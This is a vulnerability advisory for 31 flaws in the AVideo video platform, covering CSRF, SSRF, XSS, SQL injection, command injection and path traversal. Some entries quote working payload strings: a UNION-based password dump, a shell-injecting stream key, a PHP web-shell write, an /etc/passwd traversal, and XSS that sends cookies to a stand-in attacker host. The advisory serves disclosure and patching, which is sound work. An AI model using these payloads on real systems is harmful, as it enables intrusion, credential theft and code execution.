SB2026111210 - Multiple vulnerabilities in AVideo

Security Bulletin ID SB2026111210

CSH Severity

High

Patch available

YES

Number of vulnerabilities 31

Exploitation vector Remote access

Highest impact Code execution

Breakdown by Severity

Low
Medium
High
Critical

Description

This security bulletin contains information about 31 vulnerabilities.

1) Cross-site request forgery (CVE-ID: CVE-2026-45610)

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

CVSSv4: 6.8 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to disable two-factor authentication on a logged-in victim's AVideo account without consent.

The vulnerability exists due to missing cross-site request forgery protection in plugin/LoginControl/set.json.php when processing session-authenticated 2FA changes with the LoginControl plugin enabled. A remote user can lure a logged-in victim to a malicious page that submits a cross-origin POST with type=set2FA and value=false to disable the victim's second factor.

2) Server-Side Request Forgery (SSRF) (CVE-ID: CVE-2026-91967)

CWE-ID: CWE-918 - Server-Side Request Forgery (SSRF)

CVSSv4: 5.3 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N]

The vulnerability allows a remote user to issue blind server-side requests to internal and cloud-metadata hosts and infer limited content-type and reachability information.

The vulnerability exists due to missing destination validation in AVideo's getHeaderContentTypeFromURL() when probing stored video links with get_headers(), which also follows redirects to internal hosts. A remote user can use canUpload permission to submit videoLink=http://[internal-host]/x.mp4 and open the resulting video's watch page to trigger requests and observe content-type, status, and timing signals.

3) Server-Side Request Forgery (SSRF) (CVE-ID: CVE-2026-91966)

CWE-ID: CWE-918 - Server-Side Request Forgery (SSRF)

CVSSv4: 6.9 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N]

The vulnerability allows a remote attacker to probe internal host and port reachability through blind server-side request forgery.

The vulnerability exists due to missing SSRF validation in AVideo's WWBNIndex::check_site_availability() when pre-authentication gates validate SERVER_NAME but fetch the client-controlled HTTP_HOST. A remote attacker can send requests with a crafted Host header to /plugin/WWBNIndex/submitIndex.php or /plugin/WWBNIndex/ajax.php to infer internal service availability from status-dependent behavior and timing, including through up to 10 redirects.

4) Authorization bypass through user-controlled key (CVE-ID: CVE-2026-89257)

CWE-ID: CWE-639 - Authorization Bypass Through User-Controlled Key

CVSSv4: 5.3 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to delete other users' category asset directories, removing icons and images.

The vulnerability exists due to a missing category ownership check in AVideo's objects/categoryDeleteAssets.json.php when processing asset deletion requests with usersCanCreateNewCategories enabled. A remote user can submit a POST request containing a victim category ID and a valid CSRF token using an account with canUpload permission to recursively delete that category's assets without deleting category records or videos.

5) Missing Authentication for Critical Function (CVE-ID: CVE-2026-86728)

CWE-ID: CWE-306 - Missing Authentication for Critical Function

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to disclose restricted live-stream viewing credentials, stream links, server identifiers, and private programme schedules.

The vulnerability exists due to missing authentication and playlist visibility checks in AVideo's plugin/PlayLists/epg.json.php endpoint when serializing electronic programme guide objects containing live-stream keys. A remote attacker can send requests with sequential users_id or playlists_id values to enumerate users and playlists and retrieve exposed credentials and private schedules.

6) Missing Authentication for Critical Function (CVE-ID: CVE-2026-86727)

CWE-ID: CWE-306 - Missing Authentication for Critical Function

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to disclose stream keys and direct HLS URLs and view currently live unlisted, private, or group-restricted streams without authorization.

The vulnerability exists due to missing authentication and failure to redact sensitive fields in AVideo's plugin/Live/stats.json.php when returning statistics with the Live plugin enabled, retaining restricted streams' keys and m3u8 URLs in hidden_applications entries. A remote attacker can send GET /plugin/Live/stats.json.php without cookies and extract these entries to access restricted streams.

7) Incorrect authorization (CVE-ID: CVE-2026-86726)

CWE-ID: CWE-863 - Incorrect Authorization

CVSSv4: 7.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to disclose source transmission keys and streamer identities for other accounts' active restreams.

The vulnerability exists due to incorrect authorization in AVideo's plugin/Live/view/restreamsActive.json.php endpoint when returning active restreams without ownership filtering. A remote user can use an account with streaming capability to send a GET request to /plugin/Live/view/restreamsActive.json.php to retrieve source stream credentials and identity information across accounts.

8) SQL injection (CVE-ID: CVE-2026-84208)

CWE-ID: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to read arbitrary database contents, including password hashes, session tokens, and personal information.

The vulnerability exists due to unescaped interpolation of the country and region GET parameters into SQL queries in AVideo's User_Location plugin when its ip2location_db3 table is installed. A remote attacker can send crafted GET requests to regions.json.php or cities.json.php using UNION-based SQL injection, such as country=nonexistent' UNION SELECT password FROM users-- -, to extract sensitive database contents.

9) Cross-site scripting (CVE-ID: CVE-2026-72747)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote attacker to execute arbitrary JavaScript in an administrator's browser session and disclose sensitive information.

The vulnerability exists due to improper neutralization of input in AVideo's setPhone() method and bootgrid rendering when storing and displaying registration phone values through tbody.html(rows). A remote attacker can solve the registration captcha and submit <img src=x onerror="document.title='Stored_XSS_PoC'"> in the phone field to execute JavaScript when an administrator visits /users.

10) Cross-site scripting (CVE-ID: CVE-2026-50182)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote attacker to execute arbitrary JavaScript under the AVideo origin in a victim's browser, read non-HttpOnly cookies, and perform actions as the victim.

The vulnerability exists due to improper output encoding in plugin/YouTubeAPI/gallerySection.php when embedding the search parameter into pagination links, with the Layout plugin relocating injected scripts into executable content. A remote attacker can trick a victim into opening a crafted URL containing video"><script>alert(1337)</script> in the search parameter to execute arbitrary JavaScript.

11) Cross-site scripting (CVE-ID: CVE-2026-50183)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 2.1 [CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote attacker to execute arbitrary JavaScript in visitors' AVideo sessions, read non-HttpOnly cookies, and issue requests as those visitors.

The vulnerability exists due to missing HTML encoding in the AVideo YouTubeAPI plugin's gallerySection.php when rendering uploader-controlled YouTube video titles, resulting in stored cross-site scripting. A remote attacker can set a video title to <script>alert(2222)</script> and arrange for the video to match the operator's configured search query to execute JavaScript when visitors load a page displaying the enabled gallery.

12) Cross-site scripting (CVE-ID: CVE-2026-47694)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote user to execute JavaScript in other users' browsers, access same-origin data, and perform actions as victims.

The vulnerability exists due to missing output encoding in AVideo's Gallery view when rendering stored category descriptions as raw HTML. A remote user can create or edit a category description containing <img src=x onerror=alert(document.domain)> to execute JavaScript when a victim views the affected category page, provided the Gallery view is enabled and at least one video is assigned to the category.

13) Insufficient verification of data authenticity (CVE-ID: CVE-2026-47696)

CWE-ID: CWE-345 - Insufficient Verification of Data Authenticity

CVSSv4: 7.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to add arbitrary funds to their own AVideo wallet without payment.

The vulnerability exists due to insufficient verification of data authenticity in plugin/AuthorizeNet/processPayment.json.php when processing payment requests, as payment success is hardcoded without validating a transaction. A remote user can submit an authenticated POST request with a positive amount parameter to credit their wallet with the supplied amount when the AuthorizeNet and YPTWallet plugins are enabled.

14) Authorization bypass through user-controlled key (CVE-ID: CVE-2026-56345)

CWE-ID: CWE-639 - Authorization Bypass Through User-Controlled Key

CVSSv4: 9.2 [CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to take over arbitrary user accounts, including administrator accounts.

The vulnerability exists due to authorization bypass through a user-controlled identifier in AVideo's enabled Meet plugin when uploadRecordedVideo.json.php derives users_id from filenames and invokes passwordless User->login(true, true). A remote attacker can obtain the shared secret through configuration disclosure or token-check timing analysis, then submit a bearer-authenticated upload named 1-anything.mp4 to receive an administrator session.

15) OS Command Injection (CVE-ID: CVE-2026-45578)

CWE-ID: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to execute arbitrary operating system commands with the privileges of the web-server runtime user.

The vulnerability exists due to improper shell argument escaping in AVideo's plugin/Live/on_publish.php when the enabled Live and YPTSocket plugins construct execAsync() commands on non-Windows systems. A remote user can use a streaming-enabled account to save a stream key such as evilkey';id>/tmp/pwn;# and POST it to the endpoint to inject shell commands through the generated m3u8 URL.

16) Cross-site scripting (CVE-ID: CVE-2026-45580)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote user to execute arbitrary JavaScript in viewers' browsers, including administrators' browsers, within the AVideo origin.

The vulnerability exists due to missing HTML-attribute escaping in the Live plugin's modeYoutubeLive.php template when rendering stored stream keys, resulting in stored cross-site scripting. A remote user can use canStream rights to submit the key payload " onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" through plugin/Live/saveLive.php and lure visitors to hover over the live-page title to execute JavaScript and disclose accessible cookies.

17) Cross-site request forgery (CVE-ID: CVE-2026-40926)

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

CVSSv4: 6.8 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to create, overwrite, or delete categories, disrupt category availability, and trigger installed plugins' updateScript() methods in an administrator's session.

The vulnerability exists due to missing cross-site request forgery protection in AVideo's objects/categoryAddNew.json.php, objects/categoryDelete.json.php, and objects/pluginRunUpdateScript.json.php endpoints when processing state-changing POST requests. A remote attacker can lure a logged-in administrator to a malicious page that submits forged forms to modify categories or invoke plugin update scripts without authorization.

18) Command injection (CVE-ID: CVE-2026-41304)

CWE-ID: CWE-77 - Command injection

CVSSv4: 8.6 [CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]

The vulnerability allows a remote privileged user to execute arbitrary shell commands and PHP code as the web server user.

The vulnerability exists due to command injection in AVideo's CloneSite plugin when cloneClient.json.php removes quotes added by escapeshellarg() before constructing a wget command executed through exec(). A remote privileged user can configure cloneSiteURL to reference a malicious server and contain shell metacharacters such as ;, then access plugin/CloneSite/cloneClient.json.php to execute commands and create a web shell.

19) Overly permissive cross-domain whitelist (CVE-ID: CVE-2026-41056)

CWE-ID: CWE-942 - Overly Permissive Cross-domain Whitelist

CVSSv4: 8.3 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to steal personal information and livestream credentials and perform unauthorized account changes.

The vulnerability exists due to a permissive cross-origin policy in AVideo's allowOrigin(true) function when sensitive API endpoints reflect arbitrary origins with Access-Control-Allow-Credentials: true. A remote attacker can lure a logged-in victim to a malicious page that sends credentialed requests using SameSite=None session cookies to read authenticated responses and invoke state-changing API operations.

20) Origin validation error (CVE-ID: CVE-2026-41057)

CWE-ID: CWE-346 - Origin Validation Error

CVSSv4: 6.8 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to read sensitive authenticated API responses and perform actions on behalf of logged-in users.

The vulnerability exists due to improper origin validation in AVideo's plugin/API/router.php and allowOrigin(true) when handling cross-origin API requests, including preflight requests, reflecting arbitrary origins while permitting credentials. A remote attacker can lure a logged-in victim to a malicious website that sends credentialed cross-origin requests to disclose personal information and password recovery tokens or modify content through write endpoints.

21) Server-Side Request Forgery (SSRF) (CVE-ID: CVE-2026-41060)

CWE-ID: CWE-918 - Server-Side Request Forgery (SSRF)

CVSSv4: 7.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N]

The vulnerability allows a remote user to access internal HTTP services on arbitrary ports of the AVideo server and exfiltrate their responses.

The vulnerability exists due to improper destination validation in isSSRFSafeURL() in objects/functions.php when matching the configured site hostname without checking the port, bypassing server-side request forgery protections. A remote user can submit a downloadURL using that hostname with an alternate port to objects/aVideoEncoder.json.php, using upload permission or a valid video_id_hash, and retrieve the internal service response from web-accessible cache/tmpFile/ storage to disclose sensitive information.

22) Cross-site scripting (CVE-ID: CVE-2026-41061)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote user to execute arbitrary JavaScript in other users' browsers through stored cross-site scripting.

The vulnerability exists due to an unanchored duration-validation regex and missing HTML escaping in AVideo's video duration handling when processing and rendering encoder-supplied durations. A remote user can use upload permissions and a video's identifier hash to submit duration=00:00:01</time><img src=x onerror=alert(1)><time> to objects/aVideoEncoderReceiveImage.json.php to execute JavaScript when victims view the stored duration on trending pages, playlists, or gallery thumbnails.

23) Path traversal (CVE-ID: CVE-2026-41062)

CWE-ID: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv4: 7.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to disclose server-readable images and reveal other files' existence and size, with possible disclosure during a deletion race.

The vulnerability exists due to path traversal in AVideo's ReceiveImage endpoint when validation checks only URL paths but try_get_contents_from_local() derives filesystem paths from full URLs. A remote user can use upload permission and an owned video's identifier to submit downloadURL_image=http://avideo.example.com/x?a=/videos/../../../../../../etc/passwd or equivalent downloadURL_* parameters, bypassing validation to access files outside the intended directory.

24) Cross-site request forgery (CVE-ID: CVE-2026-40928)

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

CVSSv4: 4.6 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to force comment creation, manipulate comment votes, and delete category assets through a victim's session.

The vulnerability exists due to missing cross-site request forgery protection in AVideo's state-changing JSON endpoints when processing session-authenticated GET requests without token or origin validation. A remote attacker can trick a logged-in victim into loading a page containing crafted image requests or form submissions to post comments, change votes, or delete category assets if the victim has category management rights.

25) Cross-site request forgery (CVE-ID: CVE-2026-40929)

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

CVSSv4: 4.6 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to delete comments en masse using an authenticated victim's permissions.

The vulnerability exists due to missing cross-site request forgery protection in AVideo's objects/commentDelete.json.php endpoint when handling comment deletion requests with cross-site session cookies. A remote attacker can lure a logged-in moderator, video owner, or comment author to a malicious page that submits GET or POST requests containing comment identifiers to delete comments within the victim's authority.

26) Guessable CAPTCHA (CVE-ID: CVE-2026-40935)

CWE-ID: CWE-804 - Guessable CAPTCHA

CVSSv4: 6.9 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to bypass CAPTCHA protection in AVideo and automate account creation, password-reset spam, and unsolicited email.

The vulnerability exists due to attacker-controlled CAPTCHA length, case-insensitive comparison, and missing token invalidation after failed guesses in objects/getCaptcha.php and objects/captcha.php when generating and validating challenges. A remote attacker can request /objects/getCaptcha.php?ql=1 and submit up to 33 single-character guesses within the same session to bypass CAPTCHA checks on endpoints using Captcha::validation().

27) Authorization bypass through user-controlled key (CVE-ID: CVE-2026-40907)

CWE-ID: CWE-639 - Authorization Bypass Through User-Controlled Key

CVSSv4: 7.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote user to retrieve other users' live restream configurations, including third-party stream keys and OAuth tokens.

The vulnerability exists due to missing ownership validation in AVideo's plugin/Live/view/Live_restreams/list.json.php endpoint when processing an explicitly supplied users_id parameter. A remote user can use an account with streaming permission to submit requests specifying other users' IDs and enumerate their restream credentials.

28) Information disclosure (CVE-ID: CVE-2026-40908)

CWE-ID: CWE-200 - Exposure of sensitive information to an unauthorized actor

CVSSv4: 6.9 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to disclose the deployed commit hash, developer names and email addresses, and potentially internal project information.

The vulnerability exists due to missing authentication in AVideo's git.json.php endpoint when handling requests for repository metadata. A remote attacker can send an HTTP request to /git.json.php to retrieve the full git log -1 output as JSON, fingerprint the deployed version, and read potentially sensitive commit messages.

29) Path traversal (CVE-ID: CVE-2026-40909)

CWE-ID: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv4: 8.5 [CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N]

The vulnerability allows a remote privileged user to write arbitrary PHP files outside the locale directory and execute arbitrary code.

The vulnerability exists due to path traversal in AVideo's locale/save.php when concatenating unvalidated flag values into file paths and writing code verbatim, compounded by missing CSRF validation and SameSite=None cookies. A remote privileged user can submit flag=../../webshell with code=$t["x"]=1;?><?php system($_GET["c"]); directly, or induce an administrator to submit these parameters through a malicious page, then request the resulting file in a writable web-accessible directory to execute arbitrary code.

30) Cross-site scripting (CVE-ID: CVE-2026-40911)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 6.9 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]

The vulnerability allows a remote attacker to execute arbitrary JavaScript in every connected user's browser context, including administrators, enabling account takeover and privileged actions.

The vulnerability exists due to unchecked evaluation of attacker-controlled message and callback fields in AVideo's YPTSocket plugin when relaying WebSocket broadcasts to client-side eval() sinks. A remote attacker can obtain an anonymous token and broadcast crafted JSON containing msg.autoEvalCodeOnHTML or callback fields to execute JavaScript across connected users when the plugin is enabled.

31) Cross-site request forgery (CVE-ID: CVE-2026-40925)

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

CVSSv4: 8.3 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N]

The vulnerability allows a remote attacker to take over site configuration, steal credentials and reset tokens, hijack encoder operations, and write files under the web root.

The vulnerability exists due to missing cross-site request forgery protection in AVideo's objects/configurationUpdate.json.php endpoint, also exposed as /updateConfig, when processing configuration changes. A remote attacker can lure a logged-in administrator to a page submitting a cross-origin POST to rewrite settings, redirect SMTP and encoder traffic, and inject <script src="https://attacker/evil.js"></script> for persistent site-wide script execution.

Remediation

Install update from vendor's website.

SB2026111210 - Multiple vulnerabilities in AVideo

Breakdown by Severity

Description

Remediation

References

Please verify you're human